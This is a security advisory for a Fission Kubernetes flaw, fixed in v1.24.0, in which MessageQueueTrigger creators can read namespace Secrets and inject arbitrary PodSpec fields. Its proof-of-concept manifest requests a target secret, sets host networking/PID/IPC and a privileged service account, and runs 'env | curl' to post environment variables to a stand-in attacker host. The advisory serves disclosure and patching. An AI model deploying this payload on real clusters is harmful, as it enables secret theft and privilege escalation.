high · 8.1Jun 30, 2026

Fission MessageQueueTrigger Secret Exfiltration and PodSpec Injection

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any Kubernetes tenant who can create a Fission MessageQueueTrigger can read any Secret in the namespace and run an arbitrary container image under any service account, far beyond their intended RBAC p

Packagegithub.com/fission/fission
Ecosystemgo
Affected<= 1.23.0
Fixed in1.24.0

The problem

The Fission MQT scaler controller (pkg/mqtrigger/scalermanager.go) fetched the Secret named in Spec.Secret using the controller's own cluster-wide secrets/get RBAC, then copied every key as a plaintext EnvVar.Value into the connector Deployment object. Any tenant with only messagequeuetriggers/create could exfiltrate Secrets they had no direct access to.

The same controller passed Spec.PodSpec to util.MergePodSpec with no field filtering. An attacker could substitute the container image, override the ServiceAccount, set HostNetwork/HostPID/HostIPC, inject volumes, and run arbitrary commands, effectively turning messagequeuetriggers/create into deployments/create with full control over the pod.

Proof of concept

A working proof-of-concept for this issue in github.com/fission/fission, with the exact payload below.

text
apiVersion: fission.io/v1
kind: MessageQueueTrigger
metadata:
  name: exfil-trigger
  namespace: target-namespace
spec:
  functionRef:
    type: name
    name: any-existing-function
  messageQueueType: kafka
  topic: any-topic
  # Bug 1: controller fetches this secret with its own cluster RBAC
  # and copies every key as plaintext EnvVar.Value into the Deployment.
  secret: target-secret-name
  # Bug 2: unrestricted PodSpec merge -- run any image under any SA
  podspec:
    serviceAccountName: privileged-service-account
    hostNetwork: true
    hostPID: true
    hostIPC: true
    containers:
      - name: connector
        image: attacker-registry/exfil:latest
        command: ["/bin/sh", "-c"]
        args:
          - "env | curl -X POST https://attacker.example.com/collect -d @-"

For Bug 1, getEnvVarlist called kubeClient.CoreV1().Secrets(...).Get() with the controller's own service account token, which held cluster-wide secrets/get. It then emitted each secret key as a bare EnvVar{Name: k, Value: v}, writing plaintext secret content into the Deployment spec stored in etcd and visible to anyone who can read the Deployment.

For Bug 2, util.MergePodSpec accepted the full user-supplied PodSpec with no allowlist. Fields like serviceAccountName, hostNetwork, hostPID, hostIPC, image, and command passed through unchanged into the created Deployment.

The patch (PR #3367, commit 94bf5792) changes getEnvVarlist to emit EnvVar{ValueFrom: {SecretKeyRef: ...}} so the connector pod resolves values at runtime under its own identity and the plaintext never touches the Deployment object. It also introduces MergeAllowedPodSpecFields in pkg/executor/util/merge_allowlist.go, which permits only nodeSelector, tolerations, affinity, runtimeClassName, and per-container resources.

All other user-supplied fields are dropped by the controller and rejected at admission by the validating webhook.

The fix

Upgrade to Fission v1.24.0 or later. PR #3367 (commit 94bf5792) removes secret materialization and enforces the PodSpec allowlist. Review any MQT specs that previously set spec.podSpec.image, spec.podSpec.serviceAccountName, hostNetwork, hostPID, hostIPC, command, args, volumes, or env -- those fields are now dropped silently or rejected at admission.

Reported by sanketsudake.

References: [1][2][3][4][5]

Related research